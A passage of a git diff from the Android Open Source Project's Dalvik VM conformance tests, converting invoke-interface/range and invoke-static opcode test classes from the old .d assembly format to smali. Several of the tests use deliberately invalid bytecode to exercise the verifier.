+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_7.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 5
+
+       invoke-interface/range {v4}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doitN()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8.d
deleted file mode 100644
index f81692c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_8.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       move-object v6, v8
-       invoke-interface/range {v6..v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8.smali
new file mode 100644
index 0000000..d6ba933
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_8.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       move-object v6, v8
+       invoke-interface/range {v6..v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9.d
deleted file mode 100644
index cd73a85..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_9.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       invoke-interface/range {v6}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9.smali
new file mode 100644
index 0000000..fb6ce80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_9.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface/range {v6}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_1.d
deleted file mode 100644
index 04c88aa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_1.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1234567
-       invoke-static {v1}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_1.smali
new file mode 100644
index 0000000..f7fb46a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_1.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_10.d
deleted file mode 100644
index 365afbb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_10.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_10.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_10
-.super java/lang/Object
-
-
-
-.method static <clinit>()V
-    return-void
-.end method
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-static {}, dot/junit/opcodes/invoke_static/d/T_invoke_static_10/<clinit>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_10.smali
new file mode 100644
index 0000000..32bf74c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_10.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_10.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_10;
+.super  Ljava/lang/Object;
+
+
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-static {}, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_10;-><clinit>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_11.d
deleted file mode 100644
index 227b52c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_11.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1234567
-       invoke-static {}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_11.smali
new file mode 100644
index 0000000..b323d73
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_11.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static {}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_13.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_13.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_13.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_13.smali
new file mode 100644
index 0000000..9a98912
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_13;
+.super Ljava/lang/Object;
+.source "T_invoke_static_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x4048f5c3    # 3.14f
+
+    invoke-static {v1}, Ldot/junit/opcodes/invoke_static/TestClass;->test1(F)I
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.smalis/T_invoke_static_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.smalis/T_invoke_static_14.smali
new file mode 100644
index 0000000..a8a77ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.smalis/T_invoke_static_14.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_14;
+.super Ljava/lang/Object;
+.source "T_invoke_static_14.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-static {}, Ldot/junit/opcodes/invoke_static/d/TestClassInitError;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.smalis/TestClassInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.smalis/TestClassInitError.smali
new file mode 100644
index 0000000..229609d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_14.smalis/TestClassInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/TestClassInitError;
+.super Ljava/lang/Object;
+.source "TestClassInitError.java"
+
+
+# direct methods
+.method public static constructor <clinit>()V
+    .registers 2
+
+    const v0, 0x1
+
+    const v1, 0x0
+
+    div-int v0, v0, v1
+
+    return-void
+.end method
+
+.method public static test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_15.d
deleted file mode 100644
index 58bccb9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_15.d
+++ /dev/null
@@ -1,56 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_15.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 6
-
-    const v1, 123
-    const v2, 345
-
-    const v3, 12
-    const v4, 6
-    
-    invoke-static {v3, v4}, dot/junit/opcodes/invoke_static/TestClass/testArgsOrder(II)I
-
-    move-result v3
-    const v4, 2
-    if-ne v3, v4, Label0
-
-    const v4, 123
-    if-ne v1, v4, Label0
-
-    const v4, 345
-    if-ne v2, v4, Label0
-
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_15.smali
new file mode 100644
index 0000000..bddc952
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_15.smali
@@ -0,0 +1,56 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_15.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 6
+
+    const v1, 123
+    const v2, 345
+
+    const v3, 12
+    const v4, 6
+    
+    invoke-static {v3, v4}, Ldot/junit/opcodes/invoke_static/TestClass;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 2
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 345
+    if-ne v2, v4, :Label0
+
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_16.d
deleted file mode 100644
index 883edbe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_16.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_16.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-static {v3}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_16.smali
new file mode 100644
index 0000000..16265a8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_16.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_16.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-static {v3}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_17.d
deleted file mode 100644
index 1ce4ed4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_17.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-
-       invoke-static {}, dot/junit/opcodes/invoke_static/TestClass/testProtected()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_17.smali
new file mode 100644
index 0000000..c4cb126
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_17.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+
+       invoke-static {}, Ldot/junit/opcodes/invoke_static/TestClass;->testProtected()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.smalis/T_invoke_static_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.smalis/T_invoke_static_18.smali
new file mode 100644
index 0000000..b7472d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.smalis/T_invoke_static_18.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_18;
+.super Ljava/lang/Object;
+.source "T_invoke_static_18.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 3
+
+    invoke-static {}, Ldot/junit/opcodes/invoke_static/d/TestProtected;->testP()I
+
+    move-result v0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.smalis/TestProtected.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.smalis/TestProtected.smali
new file mode 100644
index 0000000..5374004
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_18.smalis/TestProtected.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/TestProtected;
